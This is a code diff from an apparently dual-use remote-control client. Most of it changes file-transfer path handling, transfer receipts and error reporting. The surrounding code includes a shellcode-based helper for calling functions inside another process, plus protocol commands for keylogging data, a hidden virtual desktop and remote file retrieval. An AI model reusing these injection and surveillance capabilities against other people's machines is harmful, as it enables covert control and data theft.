#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
#define CALLERSX(n) \
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
bool b = initShellCoder<n>(_sc);\
if(!b || !func || !_sc || !*_sc) return -1;\
detail::GCHelper helper;\
if(_is64Bit) {\
std::vector<DWORD64> param(n + 2, 0);\
param[0] = _dw64Ret;\
param[1] = func;\
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
return call<DWORD64>(param);\
}\
std::vector<DWORD> param(n + 1, 0);\
param[0] = (DWORD)func;\
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
return call<DWORD>(param);\
}
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
CALLERSX( 0)
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
#undef CALLERSX
#undef CALLERS
#undef TO_DWORD_ARRAY_DECL
#undef TO_DWORD64_ARRAY_DECL
};
#define YAPI(h, m, f) YAPICall(h, m, #f)
}
+4 -26
View File
@@ -36,6 +36,7 @@
// FileTransferV2 is in the same directory (common/)
#include "FileTransferV2.h"
#include "UnixPath.h"
// External declaration of clientID (defined in main.cpp/main.mm)
extern uint64_t g_myClientID;
@@ -186,34 +187,11 @@ private:
// /:\ -> /
// /: -> /
// C:\Users\file.txt -> /Users/file.txt
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
static std::string winPathToLinux(const char* winPath)
{
if (!winPath || !*winPath) return "/";
std::string p(winPath);
// 1. Backslash -> forward slash
for (auto& c : p) {
if (c == '\\') c = '/';
}
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. Ensure starts with /
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
// 4. Merge consecutive slashes
std::string result;
result.reserve(p.size());
for (size_t i = 0; i < p.size(); i++) {
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
continue;
result += p[i];
}
return result.empty() ? "/" : result;
// 展开 %USERPROFILE% 等变量并把路径风格转成 Unix(见 UnixPath.h)
return UnixPath::ToUnixPath(winPath ? winPath : "");
}
// ---- Linux path -> Windows path (for sending to server) ----
+222 -43
View File
@@ -18,6 +18,7 @@
#include "commands.h"
#include "file_upload.h"
#include "UnixPath.h"
#include "../client/IOCPClient.h"
#include <unistd.h>
#include <sys/stat.h>
@@ -25,9 +26,13 @@
#include <dirent.h>
#include <iconv.h>
#include <cstring>
#include <cctype>
#include <cerrno>
#include "sha256_posix.h"
#include <string>
#include <vector>
#include <map>
#include <set>
#include <mutex>
#include <fstream>
#include <thread>
@@ -164,11 +169,15 @@ public:
// 处理 V2 文件数据包
// 返回: 0=成功, >0=错误码
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID)
// reply:主连接(Linux 传 g_pMainClient)。非空时,C2C 传输的最后一个条目处理完会回一包
// 落盘结果(TOKEN_C2C_SEND_RESULT),服务端据此把 receiver_ack 变成真实值;
// 传 nullptr(macOS 目前没有全局主连接)则保持旧行为,不发回执。
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID,
IOCPClient* reply = nullptr)
{
// 检查是否是 FILE_COMPLETE_V2 包
if (len >= 1 && buf[0] == COMMAND_FILE_COMPLETE_V2) {
return HandleFileComplete(buf, len, myClientID);
return HandleFileComplete(buf, len, myClientID, reply);
}
if (len < sizeof(FileChunkPacketV2)) {
@@ -210,10 +219,10 @@ public:
for (char& c : relPath) {
if (c == '\\') c = '/';
}
// 移除盘符前缀 (如 C:/)
if (relPath.size() >= 3 && relPath[1] == ':' && relPath[2] == '/') {
// 移除盘符前缀 (如 C:/)——只认「字母 + 冒号」,否则 /:data 这类合法路径会被改写
if (relPath.size() >= 3 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':' && relPath[2] == '/') {
relPath = relPath.substr(3);
} else if (relPath.size() >= 2 && relPath[1] == ':') {
} else if (relPath.size() >= 2 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':') {
relPath = relPath.substr(2);
}
// 移除开头的 /
@@ -222,26 +231,24 @@ public:
}
savePath += relPath;
} else {
// 服务端传输:使用相对路径
// 将 Windows 路径转换为 Linux 路径
savePath = fileName;
for (char& c : savePath) {
if (c == '\\') c = '/';
}
// 移除盘符前缀 (如 C:/)
if (savePath.size() >= 3 && savePath[1] == ':' && savePath[2] == '/') {
savePath = savePath.substr(2);
}
// 确保以 / 开头
if (savePath.empty() || savePath[0] != '/') {
savePath = "/" + savePath;
}
// 服务端传输:用服务端下发的绝对路径。
// 快捷按钮(桌面/下载/用户主页)下发的目标目录是 %USERPROFILE%\...,
// 由 WinPathToLinux 展开(见 UnixPath.h),与 Windows 上
// ExpandEnvironmentStringsA 的效果一致。
savePath = WinPathToLinux(fileName);
}
// 目录处理
if (pkt->flags & FFV2_DIRECTORY) {
MakeDirs(savePath + "/dummy");
// MakeDirs 不回报 mkdir 的失败(它还要给服务端下载复用),这里单独确认一次:
// 目录没建成也要让回执带上 errno,否则会向服务端谎报成功。
struct stat st;
int mkErr = 0;
if (stat(savePath.c_str(), &st) != 0) mkErr = errno ? errno : EIO;
else if (!S_ISDIR(st.st_mode)) mkErr = EIO;
Mprintf("[V2 Recv] Created directory: %s\n", savePath.c_str());
FinishC2CItem(pkt, reply, myClientID, false, true, 0, mkErr);
return 0;
}
@@ -250,9 +257,11 @@ public:
// 获取或创建接收状态
uint64_t stateKey = pkt->transferID ^ ((uint64_t)pkt->fileIndex << 48);
RecvState* state = GetOrCreateState(stateKey, pkt, savePath);
int openErr = 0;
RecvState* state = GetOrCreateState(stateKey, pkt, savePath, &openErr);
if (!state) {
Mprintf("[V2 Recv] Failed to create state\n");
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, openErr ? openErr : EIO);
return 5;
}
@@ -260,7 +269,9 @@ public:
const char* data = (const char*)buf + sizeof(FileChunkPacketV2) + pkt->nameLength;
if (lseek(state->fd, pkt->offset, SEEK_SET) == -1) {
Mprintf("[V2 Recv] lseek failed: errno=%d\n", errno);
int e = errno;
Mprintf("[V2 Recv] lseek failed: errno=%d\n", e);
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
return 6;
}
@@ -270,7 +281,9 @@ public:
ssize_t n = write(state->fd, data + written, toWrite - written);
if (n <= 0) {
if (errno == EINTR) continue;
Mprintf("[V2 Recv] write failed: errno=%d\n", errno);
int e = errno;
Mprintf("[V2 Recv] write failed: errno=%d\n", e);
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
return 7;
}
written += n;
@@ -292,6 +305,15 @@ public:
// 文件完成
if (isLast) {
// 落盘长度自检:写到一半失败过、或偏移被改写,都会在这里落成「长度不符」
struct stat st;
int szErr = 0;
if (fstat(state->fd, &st) != 0) szErr = errno ? errno : EIO;
else if ((uint64_t)st.st_size != pkt->fileSize) szErr = EIO;
// 记账 + 最后一个条目时回执(要在拿 s_statesMtx 之前做:里面会 Send2Server)
FinishC2CItem(pkt, reply, myClientID, true, true, pkt->fileSize, szErr);
close(state->fd);
state->fd = -1;
Mprintf("[V2 Recv] File complete: %s\n", savePath.c_str());
@@ -306,7 +328,8 @@ public:
}
// 处理文件完成校验包
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID)
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID,
IOCPClient* reply = nullptr)
{
if (len < sizeof(FileCompletePacketV2)) {
return 1;
@@ -322,6 +345,9 @@ public:
Mprintf("[V2] File complete verify: transferID=%llu, fileIndex=%u, size=%llu\n",
pkt->transferID, pkt->fileIndex, pkt->fileSize);
// 空文件不发任何数据块(worker 只发这个完成包),C2C 回执只能靠它把该条目算作已处理
NoteC2CComplete(pkt, reply, myClientID);
// TODO: 实现 SHA-256 校验
// 目前简单返回成功
return 0;
@@ -404,25 +430,37 @@ public:
closedir(d);
}
// Windows 路径转 Linux 路径
// Windows 路径转 Linux 路径。服务端对话框的快捷按钮(桌面/下载/用户主页)下发的是
// %USERPROFILE%\Desktop\ 这类 Windows 变量路径,必须先展开(见 UnixPath.h)。
static std::string WinPathToLinux(const std::string& winPath)
{
std::string p = winPath;
// 1. 反斜杠 -> 正斜杠
for (auto& c : p) {
if (c == '\\') c = '/';
return UnixPath::ToUnixPath(winPath);
}
// errno -> Win32 错误码:服务端 TOKEN_DOWNLOAD_ERROR 按 Win32 码分类
// (McpServer::OnDownloadError: 2/3 -> 路径不存在,5 -> 拒绝访问,其余 -> 一般失败)。
static uint32_t PosixErrnoToWin32(int e)
{
switch (e) {
case ENOENT: return 2; // ERROR_FILE_NOT_FOUND
case ENOTDIR: return 3; // ERROR_PATH_NOT_FOUND
case EACCES:
case EPERM: return 5; // ERROR_ACCESS_DENIED
default: return 2;
}
// 2. 移除 "X:/" 或 "X:" 前缀
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. 确保以 / 开头
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
return p;
}
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
// 走文件管理器子连接(服务端此时还在等第一批 chunk),让它立即失败而不是等停滞看门狗。
// 与 Windows 客户端 CFileManager::SendDownloadError 等价。
static void SendDownloadError(IOCPClient* client, uint32_t win32err)
{
if (client == nullptr) return;
if (win32err == 0) win32err = 2; // ERROR_FILE_NOT_FOUND
uint8_t pkt[1 + sizeof(uint32_t)] = { 0 };
pkt[0] = (uint8_t)TOKEN_DOWNLOAD_ERROR;
memcpy(pkt + 1, &win32err, sizeof(uint32_t));
client->Send2Server((char*)pkt, (ULONG)sizeof(pkt));
}
// 处理 CMD_DOWN_FILES_V2 请求 - 上传文件到服务端
@@ -448,19 +486,22 @@ public:
if (remotePaths.empty()) {
Mprintf("[V2 Send] No files to send\n");
SendDownloadError(client, 87); // ERROR_INVALID_PARAMETER(与 Windows 客户端一致)
return;
}
// 收集所有文件 (展开目录)
std::vector<std::string> allFiles;
std::vector<std::string> rootCandidates;
int firstErrno = 0; // 首个失败的 errno(全部不存在时回报给服务端)
for (const auto& remotePath : remotePaths) {
std::string localPath = WinPathToLinux(remotePath);
struct stat st;
if (stat(localPath.c_str(), &st) != 0) {
Mprintf("[V2 Send] File not found: %s\n", localPath.c_str());
if (firstErrno == 0) firstErrno = errno ? errno : ENOENT;
Mprintf("[V2 Send] File not found: %s (errno=%d)\n", localPath.c_str(), errno);
continue;
}
@@ -481,7 +522,8 @@ public:
}
if (allFiles.empty()) {
Mprintf("[V2 Send] No files found\n");
Mprintf("[V2 Send] No files found (errno=%d)\n", firstErrno);
SendDownloadError(client, PosixErrnoToWin32(firstErrno));
return;
}
@@ -596,6 +638,9 @@ public:
uint64_t offset = 0;
std::vector<uint8_t> buffer;
buffer.reserve(sizeof(FileChunkPacketV2) + targetNameGbk.length() + CHUNK_SIZE);
Sha256 hasher; // 流式 SHA-256:服务端落盘后会用它校验
bool truncated = false; // 读失败/文件变短 → 不发完成包,避免谎报校验通过
bool sendOk = true;
while (offset < fileSize || (offset == 0 && fileSize == 0)) {
size_t toRead = std::min(CHUNK_SIZE, (size_t)(fileSize - offset));
@@ -628,21 +673,26 @@ public:
ssize_t n = read(fd, dataPtr, toRead);
if (n < 0) {
Mprintf("[V2 Send] read failed: errno=%d\n", errno);
truncated = true;
break;
}
hasher.update(dataPtr, (size_t)n);
if ((size_t)n < toRead) {
// 文件读取不完整,调整包大小
// 文件读取不完整(传输中被截断):调整包大小后作为末块发出,
// 但不发完成包 —— 服务端按原 fileSize 收不全,必须让它失败而不是校验通过。
toRead = n;
pkt->dataLength = toRead;
buffer.resize(sizeof(FileChunkPacketV2) + targetNameGbk.length() + toRead);
isLast = true;
pkt->flags |= FFV2_LAST_CHUNK;
truncated = true;
}
}
// 发送
if (!client->Send2Server((char*)buffer.data(), (ULONG)buffer.size())) {
Mprintf("[V2 Send] Send failed\n");
sendOk = false;
break;
}
@@ -650,12 +700,31 @@ public:
// 空文件处理
if (fileSize == 0) break;
if (truncated) break; // 已按末块发出,不再续读
// 发送间隔 (避免发送过快)
usleep(10000); // 10ms
}
close(fd);
// 完成校验包:服务端凭它判定该文件结束并比对 SHA-256(目录项不发)。
// 与 Windows 客户端 FileBatchTransferWorkerV2 的发送点一致;没有它 MCP
// download_file 的会话永远等不到 filesDone 达标。
if (sendOk && !truncated) {
FileCompletePacketV2 cpkt;
memset(&cpkt, 0, sizeof(cpkt));
cpkt.cmd = COMMAND_FILE_COMPLETE_V2;
cpkt.transferID = transferID;
cpkt.srcClientID = myClientID;
cpkt.dstClientID = 0; // 目标是主控端
cpkt.fileIndex = fileIndex;
cpkt.fileSize = fileSize;
hasher.final(cpkt.sha256);
if (!client->Send2Server((char*)&cpkt, (ULONG)sizeof(cpkt))) {
Mprintf("[V2 Send] Send complete packet failed\n");
}
}
}
Mprintf("[V2 Send] Transfer complete: transferID=%llu\n", transferID);
@@ -663,7 +732,7 @@ public:
private:
static RecvState* GetOrCreateState(uint64_t key, const FileChunkPacketV2* pkt,
const std::string& savePath)
const std::string& savePath, int* openErrno = nullptr)
{
std::lock_guard<std::mutex> lock(s_statesMtx);
@@ -682,6 +751,7 @@ private:
// 打开文件
state->fd = open(savePath.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (state->fd < 0) {
if (openErrno) *openErrno = errno; // errno 会被下面的 Mprintf 冲掉,先存
Mprintf("[V2 Recv] open failed: %s, errno=%d\n", savePath.c_str(), errno);
return nullptr;
}
@@ -691,6 +761,111 @@ private:
return ptr;
}
// ===== C2C 接收回执 =====
// C2C 的目标端不再只是「收包落盘」:本次传输的每个条目都定案后回一包
// C2CSendResultPacket(TOKEN_C2C_RECV_RESULT,与源端的 175 分开,免得两种语义混在一个 token 里),
// 把「是否真的写进去了」告诉服务端。Windows 目标端没有这个能力,服务端对它们保持旧语义。
//
// 条目定案的三个来源(缺一不可):
// 1) 目录项:worker 发的 FFV2_DIRECTORY 包(不带 LAST_CHUNK);
// 2) 非空文件:最后一块写盘成功(再 fstat 核对长度);
// 3) 空文件:worker 不发任何数据块,只发 COMMAND_FILE_COMPLETE_V2。
// 源端的重发(最多 3 次)和「最后一块 + 完成包」都会重复命中同一 fileIndex,用 done 集合去重。
struct RecvProgress {
uint32_t totalFiles = 0; // 从任意数据块/目录包学到(完成包里没有这个字段)
std::set<uint32_t> doneFiles; // 已定案的文件 fileIndex
std::set<uint32_t> doneDirs; // 已定案的目录项 fileIndex
uint64_t bytes = 0; // 实收文件字节数
bool failed = false;
int firstErrno = 0;
};
static bool IsFinalChunk(const FileChunkPacketV2* pkt)
{
return (pkt->flags & FFV2_LAST_CHUNK) != 0;
}
static uint8_t MapErrnoToFileError(int e)
{
switch (e) {
case EACCES:
case EPERM:
case EROFS: return FEV2_ACCESS_DENIED;
case ENOENT:
case ENOTDIR: return FEV2_FILE_NOT_FOUND;
case ENOSPC: return FEV2_DISK_FULL;
default: return FEV2_WRITE_FAILED;
}
}
// 记录一个条目的处理结果;finalChunk 表示这一包关掉了该条目(文件的最后一块 / 目录项 / 完成包)。
// 所有条目都定案后就发回执。err != 0 表示这一条目失败(errno 原样带给服务端)。
static void FinishC2CItem(const FileChunkPacketV2* pkt, IOCPClient* reply, uint64_t myClientID,
bool isFile, bool finalChunk, uint64_t bytes, int err)
{
if (pkt->dstClientID == 0 || reply == nullptr) return; // 服务端上传/下载、或没有回执通道
C2CSendResultPacket res = {};
{
std::lock_guard<std::mutex> lk(s_recvProgressMtx);
// 传输中途断掉时条目会残留:攒多了整体清一次(残留的都是已废弃的 transferID)
if (s_recvProgress.size() > 32) s_recvProgress.clear();
RecvProgress& e = s_recvProgress[pkt->transferID];
if (pkt->totalFiles != 0) e.totalFiles = pkt->totalFiles; // 完成包里没有,沿用学到的值
if (err != 0) {
e.failed = true;
if (e.firstErrno == 0) e.firstErrno = err;
}
if (finalChunk) {
if (isFile) {
if (e.doneFiles.insert(pkt->fileIndex).second && err == 0) e.bytes += bytes;
} else {
e.doneDirs.insert(pkt->fileIndex);
}
}
const bool finished = e.totalFiles != 0
&& e.doneFiles.size() + e.doneDirs.size() >= e.totalFiles;
if (!finished) return;
res.cmd = (uint8_t)TOKEN_C2C_RECV_RESULT;
res.transferID = pkt->transferID;
res.dstClientID = myClientID; // 服务端按连接身份 + dstClientID 双重核对
res.status = e.failed ? (uint32_t)MapErrnoToFileError(e.firstErrno)
: (uint32_t)FEV2_OK;
res.win32err = (uint32_t)e.firstErrno; // 176 包里放的是 errno,不是 win32 码
res.workerRc = 0; // 恒 0:不是源端 worker 返回码
res.fileCount = (uint32_t)e.doneFiles.size();
res.totalBytes = e.bytes;
s_recvProgress.erase(pkt->transferID);
}
// 锁外发送:Send2Server 可能阻塞,不应占着进度表
if (reply->IsConnected() && reply->Send2Server((char*)&res, sizeof(res))) {
Mprintf("[V2 Recv] C2C ack: transferID=%llu, files=%u, bytes=%llu, status=%u, errno=%u\n",
(unsigned long long)res.transferID, res.fileCount,
(unsigned long long)res.totalBytes, res.status, res.win32err);
} else {
Mprintf("[V2 Recv] C2C ack send failed: transferID=%llu\n",
(unsigned long long)res.transferID);
}
}
// COMMAND_FILE_COMPLETE_V2:空文件的唯一「定案」来源(也用来给已定案的非空文件去重)
static void NoteC2CComplete(const FileCompletePacketV2* cp, IOCPClient* reply, uint64_t myClientID)
{
if (cp->dstClientID == 0 || reply == nullptr) return;
FileChunkPacketV2 probe = {};
probe.cmd = COMMAND_SEND_FILE_V2;
probe.transferID = cp->transferID;
probe.dstClientID = cp->dstClientID;
probe.fileIndex = cp->fileIndex;
probe.totalFiles = 0; // 完成包没有 totalFiles,沿用进度表里学到的
probe.fileSize = cp->fileSize;
FinishC2CItem(&probe, reply, myClientID, true, true, 0, 0); // 空文件 bytes=0
}
// 接收状态存储
static inline std::map<uint64_t, std::unique_ptr<RecvState>> s_states;
static inline std::mutex s_statesMtx;
@@ -698,4 +873,8 @@ private:
// C2C 目标目录存储
static inline std::map<uint64_t, std::string> s_targetDirs;
static inline std::mutex s_targetDirMtx;
// C2C 接收进度(按 transferID;定案发完回执即删)
static inline std::map<uint64_t, RecvProgress> s_recvProgress;
static inline std::mutex s_recvProgressMtx;
};
+214
View File
@@ -0,0 +1,214 @@
/**
* UnixPath.h - Windows-style path handling on Unix clients
*
* The Windows server sends paths in its own dialect: drive letters ("C:\", or
* "/:" for a Unix root), backslashes, and environment variables that the Windows
* client expands with ExpandEnvironmentStringsA. The remote shortcut buttons
* (server/2015Remote/FileManagerDlg.cpp: OnRemoteDesktop/OnRemoteDownloads/
* OnRemoteHome) are the visible case — they send "%USERPROFILE%\Desktop\" and
* friends, which a Unix client cannot open as-is.
*
* This header turns such paths into something the Unix clients can use:
* %USERPROFILE% / %HOME% / %HOMEDRIVE%%HOMEPATH% -> $HOME
* %USERNAME% / %USER% / %LOGNAME% -> login name
* $HOME/Desktop (etc.) -> the XDG folder when
* user-dirs.dirs maps it
* (e.g. ~/桌面)
* Unknown %VAR% tokens are left untouched, so paths that legitimately contain a
* percent sign keep working as before.
*
* PLATFORM SUPPORT: Linux, macOS. Windows resolves these natively and does not
* include this header.
*/
#pragma once
#include <unistd.h>
#include <pwd.h>
#include <sys/stat.h>
#include <cctype>
#include <cstdlib>
#include <fstream>
#include <map>
#include <string>
namespace UnixPath
{
// ---- Home directory of the account the client runs as ----
inline std::string HomeDir()
{
const char* home = getenv("HOME");
if (home && *home) return home;
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_dir && *pw->pw_dir) return pw->pw_dir;
return "/";
}
inline std::string TrimTrailingSlashes(std::string path)
{
while (path.size() > 1 && path.back() == '/') path.pop_back();
return path;
}
// Read ~/.config/user-dirs.dirs into {"Desktop" -> "/home/user/桌面", ...}.
// The shortcuts use the English folder names, but on a localized desktop the
// real folders are translated and only user-dirs.dirs knows where they are.
// Entries pointing at a missing directory are dropped so the caller falls back
// to the plain "$HOME/<Name>" path.
inline std::map<std::string, std::string> LoadXdgUserDirs()
{
std::map<std::string, std::string> dirs;
std::string home = TrimTrailingSlashes(HomeDir());
const char* cfgHome = getenv("XDG_CONFIG_HOME");
std::string file = (cfgHome && *cfgHome) ? cfgHome : (home + "/.config");
file += "/user-dirs.dirs";
std::ifstream in(file.c_str());
std::string line;
while (std::getline(in, line)) {
size_t eq = line.find('=');
if (eq == std::string::npos || line.compare(0, 4, "XDG_") != 0)
continue;
std::string key = line.substr(4, eq - 4); // DESKTOP_DIR
if (key.size() <= 4 || key.compare(key.size() - 4, 4, "_DIR") != 0)
continue;
std::string value = line.substr(eq + 1);
if (value.size() >= 2 && value.front() == '"' && value.back() == '"')
value = value.substr(1, value.size() - 2);
// $HOME / ${HOME} are the only variables user-dirs.dirs may use
for (size_t pos; (pos = value.find("${HOME}")) != std::string::npos; )
value.replace(pos, 7, home);
for (size_t pos; (pos = value.find("$HOME")) != std::string::npos; )
value.replace(pos, 5, home);
// DESKTOP_DIR -> "Desktop"
std::string name = key.substr(0, key.size() - 4);
for (auto& c : name) c = (char)tolower((unsigned char)c);
if (!name.empty()) name[0] = (char)toupper((unsigned char)name[0]);
if (!value.empty() && access(value.c_str(), F_OK) == 0)
dirs[name] = TrimTrailingSlashes(value);
}
return dirs;
}
inline const std::map<std::string, std::string>& XdgUserDirs()
{
// C++11 guarantees a thread-safe one-time initialization of the local static
static const std::map<std::string, std::string> dirs = LoadXdgUserDirs();
return dirs;
}
// Rewrite $HOME/Desktop (etc.) to the localized folder user-dirs.dirs names.
// Expects a slash-separated absolute path.
inline std::string RemapXdgUserDir(const std::string& path)
{
std::string home = TrimTrailingSlashes(HomeDir());
if (path.compare(0, home.size(), home) != 0)
return path;
const std::map<std::string, std::string>& dirs = XdgUserDirs();
if (dirs.empty())
return path;
std::string base = (home == "/") ? "" : home;
for (const auto& kv : dirs) {
std::string prefix = base + "/" + kv.first;
if (path == prefix ||
(path.compare(0, prefix.size(), prefix) == 0 && path[prefix.size()] == '/'))
return kv.second + path.substr(prefix.size());
}
return path;
}
// Expand %USERPROFILE% style variables in a path the server sent.
inline std::string ExpandWindowsEnvVars(const std::string& in)
{
std::string out;
out.reserve(in.size());
for (size_t i = 0; i < in.size(); ) {
if (in[i] != '%') {
out += in[i++];
continue;
}
size_t end = in.find('%', i + 1);
if (end == std::string::npos) {
out.append(in, i, std::string::npos);
break;
}
// Windows variable names are case-insensitive
std::string name = in.substr(i + 1, end - i - 1);
for (auto& c : name) c = (char)toupper((unsigned char)c);
bool known = true;
std::string value;
if (name == "USERPROFILE" || name == "HOME" || name == "HOMEPATH") {
value = HomeDir();
} else if (name == "HOMEDRIVE") {
// "%HOMEDRIVE%%HOMEPATH%" has to come out as a single absolute home path
value = "";
} else if (name == "USERNAME" || name == "USER" || name == "LOGNAME") {
const char* user = getenv("USER");
if (!user || !*user) user = getenv("LOGNAME");
struct passwd* pw = getpwuid(getuid());
value = (user && *user) ? user : ((pw && pw->pw_name) ? pw->pw_name : "");
} else {
known = false;
}
if (known)
out += value;
else
out.append(in, i, end - i + 1);
i = end + 1;
}
return out;
}
// Convert a Windows-dialect path into one the Unix clients can open:
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
// /:\home\user\file.txt -> /home/user/file.txt
// C:\Users\file.txt -> /Users/file.txt
// "" -> /
inline std::string ToUnixPath(const std::string& winPath)
{
if (winPath.empty()) return "/";
std::string p = ExpandWindowsEnvVars(winPath);
// 1. Backslash -> forward slash
for (auto& c : p) {
if (c == '\\') c = '/';
}
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. Ensure starts with /
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
// 4. Merge consecutive slashes
std::string result;
result.reserve(p.size());
for (size_t i = 0; i < p.size(); i++) {
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
continue;
result += p[i];
}
if (result.empty()) return "/";
// 5. "$HOME/Desktop" -> localized folder (~/桌面 ...) when user-dirs.dirs says so
return RemapXdgUserDir(result);
}
} // namespace UnixPath
+67 -3
View File
@@ -136,6 +136,8 @@ inline int isValid_10s()
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -317,7 +319,33 @@ enum {
TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158,
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
COMMAND_REGEN_CLIENT_ID = 168, // 服务端 → 客户端:撞 ID 的克隆机重生成 client_id(掺随机 UUID)后重连
COMMAND_SCREEN_KEYFRAME_REQ = 169, // 服务端 → 客户端:下一次屏幕编码强制输出 IDR(Web 屏幕墙恢复用)
// MCP 结构化失败回报(客户端 → 服务端,仅失败分支发送;成功路径报文不变)。
// 170-198 是当前未占用的字节值,显式赋值避免后续插入重编号。
TOKEN_SERVICE_ERROR = 170, // [token:1][win32err:4 LE] 服务枚举失败(典型:OpenSCManager 权限不足)
TOKEN_FILE_LIST_ERROR = 171, // [token:1][win32err:4 LE] 文件列表失败(典型:路径不存在/非法)
TOKEN_REG_ERROR = 172, // [token:1][lstatus:4 LE] 注册表打开失败(键不存在/拒绝访问)
TOKEN_DOWNLOAD_ERROR = 173, // [token:1][win32err:4 LE] 下载请求无可用文件(路径全部不存在)
// MCP C2C 文件传输(服务端 → 源客户端 → 目标客户端;数据由服务端原样中继)。
// COMMAND_C2C_SEND_FILES / TOKEN_C2C_SEND_RESULT 只有声明 CLIENT_CAP_C2C_PATHS 的新客户端认识;
// TOKEN_C2C_RECV_RESULT 由声明 CLIENT_CAP_C2C_RECV_ACK 的目标端回发,老服务端走 default 丢弃。
COMMAND_C2C_SEND_FILES = 174, // [C2CSendFilesPacket][targetDir\0][path1\0]...[\0]
TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果
TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
@@ -355,8 +383,32 @@ enum {
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
};
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端) [2]
